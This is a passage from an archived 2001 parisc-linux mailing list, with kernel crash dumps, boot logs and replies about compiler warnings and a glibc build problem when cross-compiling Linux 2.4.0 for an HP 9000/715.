e3a0 00000000 00000000 00000000 10102784 00000000 00000000 00000000
00000000
e3c0 00000000 00000000 00000001 1026e080 00000000 00000000 00000000
00000000
e3e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e400 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e420 00000000 00000000 00000000 10102ba8 00000000 00000000 00000000
00000000
e440 1023a690 00000001 1026e080 00000000 00000000 00000000 00000000
00000000
e460 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e480 00000000 00000000 00000000 00000000 00000008 14000240 14000000
1023a830
e4a0 00000000 00000000 00000000 10102b04 00000000 00000000 00000000
00000000
e4c0 0004000e 102ea000 10102ba8 14000000 14000240 1023a800 00000000
00000002
e4e0 19a10000 00000005 00000000 00000005 00000004 00000006 00000008
00000006
e500 1026e080 00000002 00000000 102ea000 00000000 00000060 00000001
00000002
e520 00000001 00000001 1027b484 10266000 0000002a 015752a0 1026e700
00000060
e540 0000001f 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e560 00000000 00000000 00000000 00000000 00000000 00000000 40800000
00000000
e580 ffd2e740 ffd2e740 7f7fffff ffffffff 7f7fffff ffffffff 00000000
00000000
e5a0 00000000 00000000 41800000 00000000 00000010 00000010 00000000
00000000
e5c0 ffd2e740 ffd2e740 41000000 00000000 40800000 00000000 ffd2e740
ffd2e740
e5e0 41000000 00000000 ffd2e740 ffd2e740 40800000 00000000 41000000
00000000
e600 40300000 00000000 40200000 00000000 40200000 00000000 41800000
ffd2e740
e620 40000000 00000000 40000000 00000000 40800000 00000000 41000000
00000000
e640 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e660 00000000 00000000 10102b10 10102b14 00000000 00000000 00000000
00000000
e680 00000000 00000000 00000000 00000000 00000000 0c701093 00000000
14000008
e6a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e6c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000
00000000
e6e0 00000000 00000000 00000000 10106e3c 00000000 00000000 00000000
00000000

Kernel Fault: Code=15 regs=1026e4c0 (Addr=14000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 102ea000 10102ba8 14000000
r4-7     14000240 1023a800 00000000 00000002
r8-11    19a10000 00000005 00000000 00000005
r12-15   00000004 00000006 00000008 00000006
r16-19   1026e080 00000002 00000000 102ea000
r20-23   00000000 00000060 00000001 00000002
r24-27   00000001 00000001 1027b484 10266000
r28-31   0000002a 015752a0 1026e700 00000060
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10102b10 10102b14
 IIR: 0c701093    ISR: 00000000  IOR: 14000008
ORIG_R28: 00000000


The kernel was configured with 'make oldconfig'.
-- 
     Rafael




From - Thu Nov 08 21:16:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Warnings compiling the CVS kernel
Date: Wed, 21 Feb 2001 02:10:07 -0500
Lines: 130
Approved: news@gmane.org
Message-ID: <3A9369CF.C7DDC195@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619886 15837 80.91.229.3 (22 Nov 2014 01:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:26 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 00:10:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 276E04A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 00:10:09 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id HAA2336980
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 07:17:06 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10314

(My first post was line wrapped, here a re-post)

After building the cross-compiler in an x86 machine, I get warning
message like this one for most of the sources when compiling the kernel:

hppa-linux-gcc -D__KERNEL__
-I/usr1/users/raffo/parisk/source/linux/include -Wall
-Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing
-D__linux__ -pipe -fno-strength-reduce -mno-space-regs
-mfast-indirect-calls -mschedule=7200 -mdisable-fpregs
-fno-strict-aliasing -ffunction-sections    -c -o hosts.o hosts.c
In file included from
/usr1/users/raffo/parisk/source/linux/include/linux/fs.h:23,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/capability.h:17,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/binfmts.h:5,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/sched.h:9,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/blkdev.h:5,
                 from
/usr1/users/raffo/parisk/source/linux/include/linux/blk.h:4,
                 from hosts.c:29:
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:27:
warning: conflicting types for built-in function `strncpy'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:33:
warning: conflicting types for built-in function `strncat'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:39:
warning: conflicting types for built-in function `strncmp'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:61:
warning: conflicting types for built-in function `memset'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:64:
warning: conflicting types for built-in function `memcpy'
/usr1/users/raffo/parisk/source/linux/include/linux/string.h:73:
warning: conflicting types for built-in function `memcmp'

The compilation succeeds but the boot will crash here:

[...]
POSIX conformance testing by UNIFIX


Dumping Stack from 14000000 to 14000240:

Dumping Stack from 1026e000 to 1026e700:
e000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e020 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e040 00000000 00000000 00000000 0027a000 00000000 00000000 00000000 00000000
e060 00000000 00000000 00000000 0010c848 00000000 00000000 00000000 00000000
e080 0000ff00 00000000 10105c38 14000000 00000000 102cc000 1028060c 13fc8000
e0a0 14000000 14000000 0004000e 10295888 001a5a59 000ff000 f000013c 00000000
e0c0 00000000 08000059 00000004 00000000 10280620 00000002 0000000f 1027b324
e0e0 00000000 00000000 102cc000 10266000 1027b324 04000000 14000240 1027b000
e100 00000006 ffffffff 00000000 00000000 00000000 00000000 00000000 00000000
e120 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e140 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e160 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e180 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e1a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e1c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e1e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e200 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e220 00000000 00000000 101151e8 101151e8 00000000 00000000 00000000 00000000
e240 00000000 00000000 00000000 00000000 0000001d 6fc10080 00000000 14000000
e260 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e280 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e2a0 00000000 00000000 00000000 1010670c 00000000 00000000 00000000 00000000
e2c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e2e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e300 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e320 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e340 00000000 00000000 f0003e5c 00272000 00281000 f0008c98 00000000 00000000
e360 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e380 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e3a0 00000000 00000000 00000000 10102784 00000000 00000000 00000000 00000000
e3c0 00000000 00000000 00000001 1026e080 00000000 00000000 00000000 00000000
e3e0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e400 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e420 00000000 00000000 00000000 10102ba8 00000000 00000000 00000000 00000000
e440 1023a690 00000001 1026e080 00000000 00000000 00000000 00000000 00000000
e460 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e480 00000000 00000000 00000000 00000000 00000008 14000240 14000000 1023a830
e4a0 00000000 00000000 00000000 10102b04 00000000 00000000 00000000 00000000
e4c0 0004000e 102ea000 10102ba8 14000000 14000240 1023a800 00000000 00000002
e4e0 19a10000 00000005 00000000 00000005 00000004 00000006 00000008 00000006
e500 1026e080 00000002 00000000 102ea000 00000000 00000060 00000001 00000002
e520 00000001 00000001 1027b484 10266000 0000002a 015752a0 1026e700 00000060
e540 0000001f 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e560 00000000 00000000 00000000 00000000 00000000 00000000 40800000 00000000
e580 ffd2e740 ffd2e740 7f7fffff ffffffff 7f7fffff ffffffff 00000000 00000000
e5a0 00000000 00000000 41800000 00000000 00000010 00000010 00000000 00000000
e5c0 ffd2e740 ffd2e740 41000000 00000000 40800000 00000000 ffd2e740 ffd2e740
e5e0 41000000 00000000 ffd2e740 ffd2e740 40800000 00000000 41000000 00000000
e600 40300000 00000000 40200000 00000000 40200000 00000000 41800000 ffd2e740
e620 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
e640 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e660 00000000 00000000 10102b10 10102b14 00000000 00000000 00000000 00000000
e680 00000000 00000000 00000000 00000000 00000000 0c701093 00000000 14000008
e6a0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e6c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
e6e0 00000000 00000000 00000000 10106e3c 00000000 00000000 00000000 00000000


Kernel Fault: Code=15 regs=1026e4c0 (Addr=14000008)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001110
r0-3     00000000 102ea000 10102ba8 14000000
r4-7     14000240 1023a800 00000000 00000002
r8-11    19a10000 00000005 00000000 00000005
r12-15   00000004 00000006 00000008 00000006
r16-19   1026e080 00000002 00000000 102ea000
r20-23   00000000 00000060 00000001 00000002
r24-27   00000001 00000001 1027b484 10266000
r28-31   0000002a 015752a0 1026e700 00000060
sr0-3    00000000 00000000 00000000 00000000
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 10102b10 10102b14
 IIR: 0c701093    ISR: 00000000  IOR: 14000008
ORIG_R28: 00000000


The kernel was configured with 'make oldconfig'.
-- 
     Rafael




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Wed, 21 Feb 2001 02:17:26 -0500
Lines: 84
Approved: news@gmane.org
Message-ID: <3A936B86.4B642A4F@neuronet.pitt.edu>
References: <3A9369CF.C7DDC195@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619886 15838 80.91.229.3 (22 Nov 2014 01:31:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:26 +0000 (UTC)
To: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 00:17:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp6ve.mailsrvcs.net (smtp6vepub.gte.net [206.46.170.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id C53F84A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 00:17:29 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp6ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id HAA1998710
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 07:17:18 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10315

Perhaps this may give you more information on the machine I'm using.

Rafael
--

palo ipl raffo@prod2 Wed Feb 21 01:25:46 EST 2001
0/vmlinux 2557795 bytes @ 0x6800
0/palo-cmdline '0/vmlinux HOME=/ TERM=linux root=/dev/nfs
nfsroot=192.168.0.2:/tftpboot/parisc console=ttyS0'
Kernel: partition 0 file /vmlinux
ELF32 executable
Entry 00100000 first 00100000 n 5
Segment 0 load 00100000 size 1464692 mediaptr 0x1000
Segment 1 load 00266000 size 181464 mediaptr 0x167000
Segment 2 load 00294000 size 218968 mediaptr 0x194000
Segment 3 load 002cc000 size 8192 mediaptr 0x1ca000
Segment 4 load 002fa688 size 74224 mediaptr 0x1cc688
branching to kernel entry point 0x00100000
PDC Console Initialized
The 32-bit Kernel has started...
FP[0] enabled: Rev 1 Model 9
Free memory starts at: 0x1030d000
start_parisc(0x64d24,0x64d24,0x0,0x0)
PALO command line: 'HOME=/ TERM=linux root=/dev/nfs
nfsroot=192.168.0.2:/tftpboot/parisc console=ttyS0'
PALO initrd 0-0
model   00003160 00000481 00000000 00000000 77b82c78 ffffffff 00000004
0000000a 0000000a
vers    00000013
CPUID   vers 0 rev 0
model   9000/715
Searching for devices in PDC firmware... processor hpa 0xfffbe000
 an older box...
Using Alex's odd 715/old exception, onboard graphics won't be
inventoried!
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
0x77, 0x0, 0x0
2. Scorpio Sr. Core BA (11) at 0xf082f000, versions 0x19, 0x0, 0x70,
0x0, 0x0
3. Scorpio Sr. Core SCSI (10) at 0xf0825000, versions 0x19, 0x0, 0x71,
0x0, 0x0
4. Scorpio Sr. Core LAN (802.3) (10) at 0xf0826000, versions 0x19, 0x0,
0x72, 0x0, 0x0
5. Scorpio Sr. Core HIL (10) at 0xf0821000, versions 0x19, 0x0, 0x73,
0x0, 0x0
6. Scorpio Sr. Core RS-232 (10) at 0xf0823000, versions 0x19, 0x0, 0x75,
0x0, 0x0
7. Scorpio Sr. Core RS-232 (10) at 0xf0822000, versions 0x19, 0x0, 0x75,
0x0, 0x0
8. Scorpio Sr. Core Centronics (10) at 0xf0824000, versions 0x19, 0x0,
0x74, 0x0, 0x0
9. Scorpio Sr. Audio (10) at 0xf1000000, versions 0x19, 0x0, 0x7b, 0x0,
0x0
10. Scorpio Sr. EISA BA (11) at 0xfc000000, versions 0x19, 0x0, 0x76,
0x0, 0x0
11. Scorpio Sr.(715/75) (0) at 0xfffbe000, versions 0x316, 0x0, 0x4,
0x0, 0x81
12. Scorpio Sr. (1) at 0xfffbf000, versions 0x27, 0x0, 0x9, 0x0, 0x0
That's a total of 12 devices.
CPU(s): 1 x PA7100 (PCX-T) at 75.000000 MHz
Linux version 2.4.0 (raffo@prod2) (gcc version 2.97 20010128
(experimental)) #1 Wed Feb 21 02:04:36 EST 2001
free_bootmem(0x30d800, 0x3cf2800)
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 8192 pages.
zone(1): 8192 pages.
zone(2): 0 pages.
Kernel command line: HOME=/ TERM=linux root=/dev/nfs
nfsroot=192.168.0.2:/tftpboot/parisc console=ttyS0
Calibrating delay loop... 74.75 BogoMIPS
Memory: 61252k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX

[error messages from previous post]




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Wed, 21 Feb 2001 18:44:58 +1100 (EST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102211838120.9668-100000@front.linuxcare.com.au>
References: <3A9368A1.E31D5F93@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619887 15839 80.91.229.3 (22 Nov 2014 01:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:27 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 00:45:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 02AAA4A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 00:45:18 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA14891;
	Wed, 21 Feb 2001 18:44:58 +1100
In-Reply-To: <3A9368A1.E31D5F93@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10316

On Wed, 21 Feb 2001, Rafael E. Herrera wrote:

> After building the cross-compiler in an x86 machine, I get warning
> message like this one for most of the sources when compiling the kernel:
> 
> /usr1/users/raffo/parisk/source/linux/include/linux/string.h:27:
> warning: conflicting types for built-in function `strncpy'

These are a result of the string functions being declared in the
kernel header file to take an "unsigned long" length arg (via
__kernel_size_t)

> The compilation succeeds but the boot will crash here:
> 
> [...]
> POSIX conformance testing by UNIFIX

Yeah, same result here (except I get a reboot).  I'm not sure yet whether
this is due to bugs in gcc or the kernel.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Wed, 21 Feb 2001 18:51:07 +1100 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102211847030.9668-100000@front.linuxcare.com.au>
References: <3A935BDC.E2475A98@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619887 15842 80.91.229.3 (22 Nov 2014 01:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:27 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 00:51:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 734404A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 00:51:12 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA15080;
	Wed, 21 Feb 2001 18:51:07 +1100
In-Reply-To: <3A935BDC.E2475A98@neuronet.pitt.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:10317

> I've looked briefly at the main configure script and compared it to the
> last revision, but cannot figure out why it uses the x86 assembler.
> Perhaps the mantainer can resolve this.

After having problems the first time, did you start from a fresh
directory?  If config.cache exists, you'll pick up old values.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.





From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Cannot build 02/18/2001 glibc
Date: Wed, 21 Feb 2001 10:49:23 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <3A93E383.5B9ABAF2@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102211847030.9668-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619887 15845 80.91.229.3 (22 Nov 2014 01:31:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:27 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 08:49:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp7ve.mailsrvcs.net (smtp7vepub.gte.net [206.46.170.28])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64C474A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 08:49:29 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp7ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id PAA2133214
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 15:56:41 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10318

Alan Modra wrote:
> 
> > I've looked briefly at the main configure script and compared it to the
> > last revision, but cannot figure out why it uses the x86 assembler.
> > Perhaps the mantainer can resolve this.
> 
> After having problems the first time, did you start from a fresh
> directory?  If config.cache exists, you'll pick up old values.

Yes, I scrapped everything and began with binutils. I use a separate
directory for building each package (as indicated in the recipe) and
removed them. Any config.cache went away with those dirs.

Let me know if there is something else I can do to fix this.
-- 
     Rafael




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warnings compiling the CVS kernel
Date: Wed, 21 Feb 2001 11:32:14 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <3A93ED8E.E33833CF@neuronet.pitt.edu>
References: <Pine.LNX.4.21.0102211838120.9668-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619888 15849 80.91.229.3 (22 Nov 2014 01:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:28 +0000 (UTC)
Cc: PL <parisc-linux@lists.parisc-linux.org>
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 09:32:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp5ve.mailsrvcs.net (smtp5vepub.gte.net [206.46.170.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 311044A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 09:32:43 -0700 (MST)
Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp5ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id QAA2390262;
	Wed, 21 Feb 2001 16:39:14 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10319

Alan Modra wrote:
> On Wed, 21 Feb 2001, Rafael E. Herrera wrote:
> > After building the cross-compiler in an x86 machine, I get warning
> > message like this one for most of the sources when compiling the kernel:
> >
> > /usr1/users/raffo/parisk/source/linux/include/linux/string.h:27:
> > warning: conflicting types for built-in function `strncpy'
> 
> These are a result of the string functions being declared in the
> kernel header file to take an "unsigned long" length arg (via
> __kernel_size_t)

Doesn't sound like an issue then.

> > The compilation succeeds but the boot will crash here:
> >
> > [...]
> > POSIX conformance testing by UNIFIX
> 
> Yeah, same result here (except I get a reboot).  I'm not sure yet whether
> this is due to bugs in gcc or the kernel.

Let me know I there is something I can try. Thanks

-- 
     Rafael




From - Thu Nov 08 21:16:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bryan W. Headley" <bheadley@interaccess.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] CD boot help with 735
Date: Wed, 21 Feb 2001 10:43:26 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <3A93F02E.28D1B6ED@interaccess.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416619888 15850 80.91.229.3 (22 Nov 2014 01:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Feb 21 09:33:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cactus.bheadley.org (d211.focal4.interaccess.com [207.208.139.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 290D04A19
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 09:33:31 -0700 (MST)
Original-Received: from interaccess.com (IDENT:bheadley@cactus.bheadley.org [192.168.0.6])
	by cactus.bheadley.org (8.11.0/8.11.0) with ESMTP id f1LGhQs01104
	for <parisc-linux@lists.parisc-linux.org>; Wed, 21 Feb 2001 10:43:31 -0600
Original-Sender: bheadley@interaccess.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16-22enterprise i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10320

SGksDQoNCkFtIHRyeWluZyB0byBib290IHRoZSBDRFJPTSwgYnV0IGtlZXAgZ2V0dGluZyAi
RU5UUllfSU5JVCBzdGF0dXMgPSAtNCINCmFuZCBhIGZldyBsaW5lcyBvZiBoZXguIE5ldmVy
DQoNCjEpIFRoZSBhYm92ZSBvY2N1cnMgb24gdGhlIGNvbnNvbGUsIHJvdXRlZCB0byBidWls
dC1pbiB2aWRlby4gU2hvdWxkIEkNCmhhdmUgZG9uZSBzb21ldGhpbmcgdG8gcmVkaXJlY3Qg
Y29uc29sZSBtZXNzYWdlcyB0bw0KICAgIENPTU0gcG9ydCBiZWZvcmVoYW5kPyBIYXZlIGEg
bGFwdG9wIGF0dGFjaGVkIHRvIGJlIHRoZSBzZXJpYWwNCmNvbnNvbGUsIGJ1dCBvYnZpb3Vz
bHkgdG8gbm8gZWZmZWN0DQoyKSBKdXN0IGJlaW5nIHN0dXBpZDogOTYwMCA4IE4gMSwgQ09N
IHBvcnQgQSBmb3IgdGhlIHNlcmlhbCBjb25zb2xlLA0KcmlnaHQ/DQozKSBTaG91bGQgSSB0
cnksICJiIHNjc2kuNi4wIElQTCIgb3Igd2l0aG91dCB0aGUgSVBMPw0KDQpUaGlzIGlzIG9u
IGEgNzM1IGJveC4gWW91ciBoZWxwIG11Y2ggYXBwcmVjaWF0ZWQuDQoNCg0KLS0NCl9fX18g
ICAgICAgICAgICAgICAuOi4gICAgICAgICAgICAgICAgIF9fX18NCkJyeWFuIFcuIEhlYWRs
